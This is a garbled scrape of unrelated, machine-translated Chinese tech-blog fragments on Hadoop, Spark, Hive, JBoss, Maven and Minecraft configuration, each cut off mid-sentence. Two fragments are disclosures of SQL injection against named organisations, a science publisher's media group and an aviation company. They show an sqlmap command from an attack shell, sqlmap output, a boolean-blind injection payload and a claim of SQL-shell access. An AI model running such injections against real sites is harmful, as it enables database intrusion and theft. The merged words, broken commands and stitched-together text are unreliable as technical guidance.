Installation MHA1 Installing the Epel source2 Download the official descriptionof the RPM package:https://code.google.com/p/mysql-master-ha/650) this.width=650; "Src=" Http://s4.51cto.com/wyfs02/M02/8A/F1/wKiom1g_s7HzsLM8AADJIA5iJUc594.png-wh_500x0-wm_3 -wmp_4-s_4037437297.png "title=" 1.png "alt=" Wkiom1g_s7hzslm8aadjia5ijuc594.png-wh_50 "/>Follow the link below to do MHA experimentshttp://blog.csdn.net/lichangzai/article/details/50470771 Blog LinksHere are some of the problems I encountered d
SQL Injection in a media group of China Science Press
Good security ,,,,Detailed description:
Root @ attack :~ # Sqlmap-u "http: // **. **/s_second.php? Id = 28"____ | _____ ___ {1.0-dev-nongit-20150918}| _-|. |. '|. || ___ | _ |__, | _ || _ | Http ://**.**.**.**[!] Legal disclagal: Usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not resp
How to configure remote MetaStore in hive:
1) Configure hive to use local MySQL to store MetaStore (server a 111.121.21.23) (Remote MySQL storage can also be used)
2) After the configuration is complete, start the service bin/hive -- service MetaStore (default listening port: 9083) on server)
3) configure the hive client, modify the hive-site.xml :( server B-requires a hadoop environment)
4) Run: Bin/hive and run the hql test.
5) after the hive client is successfully connected, the hive server
gamemode=0# Silent game Mode player-idle-timeout=0# if the player has no response to the Set value (unit: minute), it will be kicked out of the max-players=20# maximum number of players spawn-monsters=true# Whether to generate a monster generate-structures=true# whether to generate buildings view-distance=10# the maximum client field distanceMotd=a Minecraft server# Server information shown on the Server list page [10:49:53 Info]:---------help:index-
/optionalfolder, which is the package we use for integration with jbossmq.3. Ensure that JBoss can be started correctly before activemq is integrated into JBoss.II. Specific integration steps1. Install jdk1.5Install jdk1.5 and ensure that it runs correctly.
2. Install the JBoss Application ServerInstall the JBoss application server and make it run properly before activemq is integrated.Run the following command to start the JBoss Server:$ Jboss-4.0.5.GA CD$./Bin/run. Sh-C defaultAfter JBoss is s
run the demo program that calculates PI:./bin/run-example SPARKPIas shown in figure:after a few seconds, execution completesas shown in figure:complete information is:[Root@hserver1 ~]# cd/opt/spark/spark-2.1.1-bin-hadoop2.7 [Root@hserver1 spark-2.1.1-bin-hadoop2.7]#./bin/ Run-example SPARKPI the Using Spark ' s default log4j profile:org/apache/spark/log4j-defaults.properties 17/05/17 11:43:21 INFO sparkcontext:running Spark Version 2.1.1 17/05/17 1
-1.2.jar-d./classes//src/wordcountjob.java and JAR-CVFM wordcountjob.jar-c./classes/two commands), The simplest way to do this is to use the Eclipse's Export Jar file feature to generate a jar file separately from that class.Execute the following command by putting the generated jar package CP to hadoop_home.[Email protected]:~/dolphin/hadoop-1.2.1$ bin/hadoop jar Wc2.jar Wordcount2. Wordcountjob input/file*.txt Output14/12/10 15:48:59 INFO input. Fil
Xiangpeng aviation's system SQL injection (you can run the SQL-shell command)
Xiangpeng aviation's system SQL Injection
Http: // **. **/web/Help. aspx? Code = Private injection parameter: code
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: code Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: code=Private' AND 8659=8659 AND 'vmjH'='vmjH Type: UNION query Title: MySQL UNION quer
:" +name;}}1.3.4. Hellotest.javaImport org.junit.*;Import static junit.framework.assert.*;public class Hellotest{@TestPublicvoid Testsayhello () {Hellohm = new Hello ();Assertequals (Hm.sayhello ("Morris"), "Hello:morris");}}1.3.5. Compiling MVN CompileCompiling the project at the command line using MVN compile will print the following information, and if it is the first run, the jar package will be downloaded from the Web.1.3.6. Testing MVN TestTo unit test a project using MVN test at the comma
$Sbin/stop-dfs.sh$Sbin/stop-yarn.sh if helloword is run in eclipse, the console does not print the running process. Copy etc/hadoop/log4j. properties in the hadoop installation folder to the src folder in the eclipse project. 15/01/2410: 30: 12 WARN util. NativeCodeLoader: Unable to load native-hadooplibrary for your platform... using builtin-java classes whereapplicable
15/01/2410: 30: 13 INFO Configuration. deprecation: session. id is deprecated. I
Equipped with the Spark cluster, first wrote two small examples with Pyspark, but found that the TAB key is not prompted, so the intention to go to Scala to try, in the Spark-shell under the hint, but found not to backspace, and the hint is not a copy, but the addition, so there is no way to write programs.Workaround:1. Open Session Options2. Terminal-emulation Select Linux in the terminal3. Map key Check two options4. This has been successful , but if the remote long-distance operation will int
[Spark] [Python]spark example of obtaining Dataframe from Avro fileGet the file from the following address:Https://github.com/databricks/spark-avro/raw/master/src/test/resources/episodes.avroImport into the HDFS system:HDFs Dfs-put Episodes.avroRead in:Mydata001=sqlcontext.read.format ("Com.databricks.spark.avro"). Load ("Episodes.avro")Interactive Run Results:In [7]: Mydata001=sqlcontext.read.format ("Com.databricks.spark.avro"). Load ("Episodes.avro")17/10/03 07:00:47
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